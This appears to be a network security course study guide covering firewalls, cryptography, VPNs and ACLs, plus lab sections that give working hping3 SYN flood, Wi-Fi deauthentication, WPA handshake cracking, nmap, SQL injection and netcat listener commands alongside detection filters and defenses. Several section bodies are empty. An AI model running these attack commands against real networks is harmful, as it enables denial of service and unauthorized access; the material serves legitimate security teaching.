Chapter 1: Network Security Concepts

1.1 The CIA Triad

The three foundational security principles every control must address:

1.2 Threat Terminology

1.3 Attacker Types

1.4 Malware Types

1.5 Social Engineering

Types

• Phishing — Mass email pretending to be trusted entity
• Spear Phishing — Targeted phishing at specific individual/organization
• Whaling — Spear phishing targeting C-level executives
• Vishing — Voice/phone phishing
• Smishing — SMS phishing
• Pretexting — Creating a fabricated scenario to extract information
• Baiting — Leaving infected USB drives in parking lots
• Tailgating / Piggybacking — Following authorized person through door
• Quid Pro Quo — Offering something in exchange for credentials

1.6 IDS vs IPS

Detection Methods

• Signature-based — Matches known attack patterns. Fast but can't detect new (zero-day) attacks.
• Anomaly-based (Behavioral) — Establishes baseline, alerts on deviations. Detects unknowns but high false-positive rate.
• Policy-based — Alerts when traffic violates admin-defined policy.

1.7 Defense-in-Depth

Layered security strategy — no single control is sufficient. Layers include:

1. Physical security (locks, badges)
2. Perimeter (firewall, IPS)
3. Network (VLANs, ACLs)
4. Host (antivirus, patch management)
5. Application (input validation, WAF)
6. Data (encryption, DLP)
7. User (training, awareness)

Practice Questions — Ch1

Chapter 2: Firewall Technologies

2.1 Firewall Overview

A firewall is a network security device that monitors and controls incoming/outgoing traffic based on predefined security rules. It establishes a barrier between trusted internal networks and untrusted external networks.

2.2 Firewall Types (Generation)

2.3 Stateful Inspection Deep Dive

The firewall maintains a state table (connection tracking table). For each TCP connection:

• Tracks: source IP, destination IP, source port, destination port, protocol, connection state (SYN_SENT, ESTABLISHED, etc.)
• Allows return traffic automatically without needing explicit inbound rules
• Drops packets that don't match any existing connection entry

Example State Table Entry:
Src: 192.168.1.10:54321  Dst: 8.8.8.8:80  Proto: TCP  State: ESTABLISHED

2.4 DMZ (Demilitarized Zone)

A DMZ is a separate network segment that sits between the external (Internet-facing) and internal networks, hosting public-facing services like web servers, mail servers, and DNS servers.

Internet ──── [Firewall Outside] ──── DMZ (Web/Mail/DNS) ──── [Firewall Inside] ──── Internal LAN

• External users can reach DMZ servers but cannot reach internal LAN
• Internal users can reach both DMZ and Internet
• If a DMZ server is compromised, the attacker still cannot directly access the internal network

2.5 Cisco ASA (Adaptive Security Appliance)

Security Levels

ASA assigns a security level (0–100) to each interface:

Key ASA Commands

! Enter privileged exec mode
enable

! Enter global configuration mode
configure terminal

! Configure interface
interface GigabitEthernet0/0
  nameif outside
  security-level 0
  ip address 203.0.113.1 255.255.255.0
  no shutdown

interface GigabitEthernet0/1
  nameif inside
  security-level 100
  ip address 192.168.1.1 255.255.255.0
  no shutdown

interface GigabitEthernet0/2
  nameif dmz
  security-level 50
  ip address 172.16.1.1 255.255.255.0
  no shutdown

! NAT — inside to outside
nat (inside,outside) dynamic interface

! Access list — permit HTTP from outside to DMZ web server
access-list OUTSIDE_IN permit tcp any host 172.16.1.10 eq 80
access-group OUTSIDE_IN in interface outside

! Show commands
show interface
show running-config
show access-list
show conn           (connection table)

ASA NAT Types

2.6 NGFW Features

• Application Identification — Identifies apps regardless of port (e.g., Facebook on port 443)
• SSL/TLS Inspection — Decrypts, inspects, re-encrypts HTTPS traffic
• User Identity — Links traffic to specific Active Directory users
• URL Filtering — Blocks malicious/inappropriate websites by category
• Threat Intelligence — Real-time feeds of known malicious IPs/domains
• Sandboxing — Executes suspicious files in isolated environment

2.7 Firewall Deployment Modes

Practice Questions — Ch2

Chapter 3: Cryptography

3.1 Cryptography Fundamentals

3.2 Symmetric Encryption

Same key used for encryption and decryption. Fast, used for bulk data.

Key Management Problem

The key must be securely shared before communication begins. With N parties, you need N(N-1)/2 keys.

Block Cipher Modes

3.3 Asymmetric Encryption (Public-Key Cryptography)

Uses a mathematically linked key pair: public key (share freely) + private key (keep secret).

• Encrypt with public key → only private key can decrypt (Confidentiality)
• Encrypt with private key → anyone with public key can verify (Authentication / Digital Signature)

3.4 Hashing

A one-way function that produces a fixed-size digest (fingerprint) from any input. Cannot be reversed.

Properties of a Good Hash

• Deterministic — same input always gives same output
• Avalanche effect — small change in input → completely different output
• Collision-resistant — hard to find two inputs with same hash
• Pre-image resistant — cannot determine input from output

Hash Use Cases

• Password storage — Store hash of password, not plaintext (+ salt to prevent rainbow tables)
• File integrity — Verify file not tampered (hash before/after)
• Digital signatures — Hash the document, sign the hash
• Data integrity in VPN — HMAC in IPsec AH/ESP

3.5 Digital Signatures

Process for authenticating data origin and ensuring integrity:

1. Sender computes hash of the message
2. Sender encrypts the hash with their private key → this is the digital signature
3. Sender sends message + digital signature
4. Receiver decrypts signature using sender's public key → recovers hash
5. Receiver hashes the received message independently
6. If both hashes match → message is authentic and unmodified

3.6 PKI (Public Key Infrastructure)

PKI is the framework of policies, procedures, and technologies for managing digital certificates and public keys.

Components

X.509 Certificate Contents

• Subject (owner): CN, Organization, Country
• Subject's Public Key
• Issuer (CA name)
• Validity period (Not Before / Not After)
• Serial Number
• CA's Digital Signature

Chain of Trust

Root CA → Intermediate CA → End-entity Certificate. Browser trusts root CAs in built-in trust store.

3.7 TLS (Transport Layer Security)

TLS secures communications over TCP. Successor to SSL (SSL is deprecated).

TLS 1.2 Handshake

1. ClientHello — Client sends supported cipher suites, TLS version, random nonce
2. ServerHello — Server selects cipher suite, sends its certificate (with public key)
3. Certificate Verify — Client verifies server certificate via PKI chain
4. Key Exchange — Client generates pre-master secret, encrypts with server public key (RSA) or DH key exchange
5. Session Keys Derived — Both sides derive symmetric session keys from pre-master secret + nonces
6. Finished — Both send Finished message encrypted with session key to confirm

Cipher Suite Notation

TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
│    │     │       │       │      │
│    │     │       │       │      └─ Hash (HMAC)
│    │     │       │       └─ Mode
│    │     │       └─ Bulk encryption algorithm + key size
│    │     └─ Authentication (certificate type)
│    └─ Key Exchange (ECDHE = Elliptic Curve Diffie-Hellman Ephemeral)
└─ Protocol

3.8 Symmetric vs Asymmetric Summary

Practice Questions — Ch3

Chapter 4: VPN (Virtual Private Networks)

4.1 VPN Overview

A VPN creates an encrypted tunnel over a public network (Internet), allowing remote hosts to communicate as if on the same private network.

4.2 IPsec (Internet Protocol Security)

IPsec is a suite of protocols that provides authentication, integrity, and confidentiality at the IP layer (Layer 3).

IPsec Protocols

IPsec Modes

Transport Mode:  [Original IP Header | ESP Header | Payload | ESP Trailer | ESP Auth]
Tunnel Mode:     [New IP Header | ESP Header | Original IP Header | Payload | ESP Trailer | ESP Auth]

4.3 IKE (Internet Key Exchange)

IKE is the protocol that negotiates and establishes IPsec SAs (Security Associations). Uses UDP port 500 (IKEv1) or UDP 500/4500 (IKEv2).

IKE Phase 1 — Management Tunnel

Goal: Establish a secure, authenticated channel (ISAKMP SA) to protect Phase 2 negotiation.

• Negotiates: encryption algorithm, hash, authentication method, DH group, lifetime
• Authentication methods: Pre-Shared Key (PSK) or Digital Certificates (RSA)
• DH key exchange occurs here to create a shared secret
• Two modes: Main Mode (6 messages, more secure, protects identities) vs Aggressive Mode (3 messages, faster but exposes identities)

IKE Phase 2 — Data Tunnel (IPsec SA)

Goal: Establish the actual IPsec SA for data encryption. Uses the Phase 1 tunnel for protection.

• Negotiates: ESP or AH, encryption algorithm (AES), hash algorithm (SHA), tunnel or transport mode, lifetime
• Only mode: Quick Mode (3 messages)
• Creates two unidirectional SAs (one for each direction)

Security Association (SA)

An SA is a one-directional logical connection that defines: protocol (ESP/AH), key, SPI (Security Parameter Index), encryption/hash algorithm. Identified by: (SPI, destination IP, protocol).

4.4 Site-to-Site IPsec VPN Configuration (Cisco IOS)

! Step 1: ISAKMP Policy (Phase 1)
crypto isakmp policy 10
  encr aes 256
  hash sha256
  authentication pre-share
  group 14
  lifetime 86400

crypto isakmp key MY_SECRET_KEY address 203.0.113.2

! Step 2: IPsec Transform Set (Phase 2)
crypto ipsec transform-set MY_SET esp-aes 256 esp-sha256-hmac
  mode tunnel

! Step 3: Crypto Map
crypto map MY_MAP 10 ipsec-isakmp
  set peer 203.0.113.2
  set transform-set MY_SET
  match address VPN_ACL

! Step 4: ACL to define interesting traffic
ip access-list extended VPN_ACL
  permit ip 192.168.1.0 0.0.0.255 192.168.2.0 0.0.0.255

! Step 5: Apply to interface
interface Serial0/0
  crypto map MY_MAP

4.5 SSL/TLS VPN

Operates at Layer 4–7. Uses standard HTTPS (port 443) so it works through most firewalls without special configuration.

4.6 GRE (Generic Routing Encapsulation)

GRE encapsulates any Layer 3 protocol inside IP. It is NOT encrypted by itself — used with IPsec for GRE-over-IPsec tunnels.

• Allows routing protocols (OSPF, EIGRP) to run over tunnels
• Adds a 24-byte overhead header
• IP Protocol 47

! GRE Tunnel Configuration
interface Tunnel0
  ip address 10.0.0.1 255.255.255.252
  tunnel source Serial0/0
  tunnel destination 203.0.113.2

4.7 L2TP (Layer 2 Tunneling Protocol)

L2TP encapsulates PPP frames at Layer 2. Like GRE, it provides no encryption by itself — always combined with IPsec (L2TP/IPsec) for security.

• UDP port 1701
• Common in Windows VPN clients (legacy)
• L2TP/IPsec: L2TP provides the tunnel, IPsec provides encryption

4.8 VPN Protocol Comparison

Practice Questions — Ch4

Chapter 5: Access Control Lists (ACL)

5.1 ACL Overview

An ACL is an ordered list of permit/deny statements applied to a router interface to filter traffic based on packet attributes. Processed top-down; stops at first match.

5.2 ACL Types

5.3 Wildcard Masks

Wildcard masks are the inverse of subnet masks. Used in ACLs to define address ranges.

• 0 in wildcard = check this bit (must match)
• 1 in wildcard = ignore this bit (don't care)

5.4 Standard ACL Syntax

! Numbered Standard
access-list 10 permit 192.168.1.0 0.0.0.255
access-list 10 deny   host 10.0.0.5
access-list 10 permit any

! Named Standard
ip access-list standard BLOCK_HOST
  deny   host 192.168.2.100
  permit any

! Apply to interface
interface GigabitEthernet0/1
  ip access-group 10 in      ! Filter inbound traffic
  ip access-group 10 out     ! Filter outbound traffic

5.5 Extended ACL Syntax

! Syntax:
access-list [number] [permit|deny] [protocol] [src] [src-wildcard] [dst] [dst-wildcard] [operator] [port]

! Examples:
! Deny FTP from 192.168.1.0/24 to any
access-list 100 deny tcp 192.168.1.0 0.0.0.255 any eq 21

! Permit HTTP from any to DMZ web server
access-list 100 permit tcp any host 172.16.1.10 eq 80

! Permit HTTPS from any to DMZ web server
access-list 100 permit tcp any host 172.16.1.10 eq 443

! Permit ICMP (ping) from 10.0.0.0/8 to anywhere
access-list 100 permit icmp 10.0.0.0 0.255.255.255 any

! Implicit deny all (already there, but can be explicit)
access-list 100 deny ip any any log

! Named Extended
ip access-list extended SECURE_TRAFFIC
  permit tcp 192.168.1.0 0.0.0.255 host 10.0.0.1 eq 443
  permit icmp 192.168.1.0 0.0.0.255 any
  deny   ip any any log

5.6 Port Numbers to Know

5.7 ACL Operators

5.8 Verification Commands

show access-lists                  ! Show all ACLs with hit counts
show ip access-lists               ! Show IP ACLs only
show running-config | include access  ! Find ACL in config
show ip interface GigabitEthernet0/1  ! Show which ACLs applied to interface

Practice Questions — Ch5

Chapter 6: Cyber Attacks

6.1 DoS and DDoS

Denial of Service (DoS)

Attack from a single source that exhausts target resources (bandwidth, CPU, memory, connections), making services unavailable.

Distributed DoS (DDoS)

Coordinated attack from multiple compromised hosts (botnet). Much harder to block because traffic comes from many IPs.

DoS Attack Types

6.2 SYN Flood Attack

Exploits the TCP 3-way handshake:

1. Attacker sends many SYN packets with spoofed source IPs
2. Server responds with SYN-ACK and holds a half-open connection in memory
3. Attacker never sends the final ACK
4. Server's connection table fills up → legitimate connections refused

Lab Command (hping3)

# Basic SYN flood
hping3 --flood -S -p 80 192.168.1.1

# Full lab attack:
hping3 -c 15000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.1.159
# -c 15000  = 15000 packets
# -d 120    = data size 120 bytes
# -S        = SYN flag
# -w 64     = window size 64
# -p 80     = target port 80
# --flood   = send as fast as possible
# --rand-source = randomize source IP (spoofing)

# Wireshark filter to detect:
tcp.flags.syn==1 and tcp.flags.ack==0

6.3 MITM (Man-in-the-Middle) Attack

Attacker secretly intercepts and possibly alters communications between two parties who believe they are communicating directly.

MITM Techniques

• ARP Spoofing/Poisoning — Attacker sends fake ARP replies to associate their MAC with a victim's IP address
• DNS Spoofing — Corrupt DNS cache to redirect domain to attacker's IP
• SSL Stripping — Downgrade HTTPS to HTTP between victim and server
• Evil Twin — Rogue Wi-Fi AP with same SSID as legitimate one
• BGP Hijacking — Inject false BGP routes to redirect Internet traffic

6.4 ARP Spoofing

ARP (Address Resolution Protocol) is stateless — hosts accept ARP replies even without sending requests.

1. Attacker sends gratuitous ARP: "IP 192.168.1.1 is at [attacker's MAC]"
2. Victim updates its ARP cache
3. Victim's traffic to 192.168.1.1 goes to attacker
4. Attacker can inspect/modify and forward

Defenses

• Dynamic ARP Inspection (DAI) — Switch validates ARP packets against DHCP snooping table
• Static ARP entries — On critical devices
• HTTPS/TLS — Even if traffic is intercepted, it's encrypted

6.5 Password Attacks

rockyou.txt

• 14,341,564 real leaked passwords from 2009 RockYou breach
• Located at /usr/share/wordlists/rockyou.txt.gz in Kali Linux
• Decompress: gzip -d /usr/share/wordlists/rockyou.txt.gz
• Used with aircrack-ng, hashcat, John the Ripper

6.6 Web Application Attacks

SQL Injection

Injecting malicious SQL code into user input fields to manipulate database queries.

Normal query:  SELECT * FROM users WHERE username='admin' AND password='pass'
Injected:      SELECT * FROM users WHERE username='admin' --' AND password=''
Result: '--' comments out the password check → logs in as admin

Defense: Parameterized queries / prepared statements, input validation, WAF.

XSS (Cross-Site Scripting)

Injecting malicious JavaScript into web pages viewed by other users.

• Stored XSS — Script stored in database, runs for every user who loads the page
• Reflected XSS — Script in URL parameter, reflected back in response
• DOM-based XSS — Manipulates DOM without server involvement

Impact: Cookie theft, session hijacking, redirecting users to malicious sites.

Defense: Input sanitization, Content Security Policy (CSP), HttpOnly cookies.

CSRF (Cross-Site Request Forgery)

Tricks authenticated user's browser into sending unauthorized requests to a trusted site.

Defense: CSRF tokens, SameSite cookies, re-authentication for sensitive actions.

6.7 Wireless Attacks

De-Authentication Attack

IEEE 802.11 management frames (including deauth) are unauthenticated by default. Attacker sends forged deauthentication frames to force client to disconnect.

# Step 1: Enable monitor mode
airmon-ng start wlan0
# Creates wlan0mon interface

# Step 2: Find target network
airodump-ng wlan0mon
# Shows BSSID (AP MAC), SSID, channel, clients

# Step 3: Deauthentication attack (send 100 deauth frames)
aireplay-ng -0 100 -a [AP_BSSID] -c [CLIENT_MAC] wlan0mon
# -0 = deauth attack
# 100 = number of frames (0 = continuous)
# -a = AP MAC address
# -c = client MAC address

# Detection in Wireshark:
# Filter: wlan.fc.type_subtype == 0x0c
# Deauth frames are subtype 12 (0x0c)

WPA Handshake Attack (Wifite)

Capture the WPA 4-way handshake, then crack the password offline using dictionary attack.

# Automated with Wifite:
wifite --wpa --dict /usr/share/wordlists/rockyou.txt --kill

# Manual process:
# 1. airmon-ng start wlan0
# 2. airodump-ng --bssid [AP_MAC] -c [channel] -w capture wlan0mon
# 3. aireplay-ng -0 5 -a [AP_MAC] wlan0mon  (force reconnect to capture handshake)
# 4. aircrack-ng capture-01.cap -w rockyou.txt  (offline crack)

Key Terms

6.8 Cyber Kill Chain (Lockheed Martin)

Practice Questions — Ch6

🧪 Lab Reference

Lab 3.1 — rockyou.txt Wordlist

# Use with aircrack-ng
aircrack-ng handshake.cap -w /usr/share/wordlists/rockyou.txt

# Use with hashcat (WPA)
hashcat -m 2500 handshake.hccapx /usr/share/wordlists/rockyou.txt

# Use with John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Lab 4.2 — Nmap Scanning

# Common examples:
nmap -sn 192.168.1.0/24            # Discover live hosts
nmap -sS -p 1-1000 192.168.1.1     # Stealth scan ports 1-1000
nmap -A 192.168.1.1                # Aggressive scan
nmap -sV -p 22,80,443 10.0.0.1    # Version detect on specific ports
nmap -oN output.txt 192.168.1.0/24 # Save results

Lab 5.3 — TCP SYN Flood with hping3

# hping3 SYN flood — basic
hping3 --flood -S -p 445 192.168.1.1
# --flood: no delay between packets
# -S: set SYN flag
# -p 445: target port 445 (SMB)

# Full lab attack:
hping3 -c 15000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.1.159
# -c 15000:     send 15000 packets
# -d 120:       data payload 120 bytes
# -S:           SYN flag
# -w 64:        TCP window size 64
# -p 80:        target port 80 (HTTP)
# --flood:      saturate link, no delays
# --rand-source: randomize source IP (simulate DDoS, evade IP-based blocks)
# 192.168.1.159: target IP

# Wireshark filter to detect SYN flood:
tcp.flags.syn==1 and tcp.flags.ack==0
# This shows only SYN packets without ACK (half-open connections)

Lab 6.1 — De-Authentication Attack

# Aircrack-ng suite commands:

# Step 1: Check wireless interfaces
iwconfig

# Step 2: Kill conflicting processes
airmon-ng check kill

# Step 3: Enable monitor mode
airmon-ng start wlan0
# Creates: wlan0mon

# Step 4: Scan for networks
airodump-ng wlan0mon
# Shows: BSSID, PWR, CH, ESSID, connected clients

# Step 5: Focus on target network
airodump-ng --bssid AA:BB:CC:DD:EE:FF -c 6 wlan0mon

# Step 6: Send deauth frames
aireplay-ng -0 100 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
# -0 100: deauth attack, 100 frames
# -a: Access Point (AP) MAC = BSSID
# -c: Client MAC address
# Use -0 0 for continuous attack

# Detection:
# Wireshark filter: wlan.fc.type_subtype == 0x0c
# Deauth frame = management frame (type 0), subtype 12 (0x0c = 12 decimal)

Lab 6.3 — WPA Handshake Attack (Wifite)

# Automated attack
wifite --wpa --dict /usr/share/wordlists/rockyou.txt --kill

# What Wifite does automatically:
# 1. Enables monitor mode (airmon-ng)
# 2. Scans for WPA networks (airodump-ng)
# 3. Sends deauth to capture handshake (aireplay-ng)
# 4. Captures WPA 4-way handshake
# 5. Cracks offline with aircrack-ng using provided wordlist

# Manual equivalent:
airmon-ng start wlan0
airodump-ng --bssid [AP] -c [CH] -w capture wlan0mon
aireplay-ng -0 5 -a [AP] wlan0mon
aircrack-ng capture-01.cap -w /usr/share/wordlists/rockyou.txt

Shell Commands Reference

# Network information
ifconfig / ip addr         # Show IP addresses
iwconfig                   # Wireless interface info
netstat -an                # Active connections
route                      # Routing table

# File operations
ls -la                     # List files with permissions
cat /etc/passwd            # Read file
grep -r "pattern" /dir     # Search recursively
find / -name "file.txt"    # Find file

# Process management
ps aux                     # List processes
kill -9 [PID]              # Force kill process
service [name] start/stop  # Manage services

# Network tools
ping [host]                # ICMP test
traceroute [host]          # Trace route
nslookup [domain]          # DNS lookup
nc -lvp 4444              # Netcat listener

🃏 Flashcards Loading...

Click any card to flip it. Filter by topic below.

📝 Practice Quiz

Select answers and submit to see your score. Explanations shown after submission.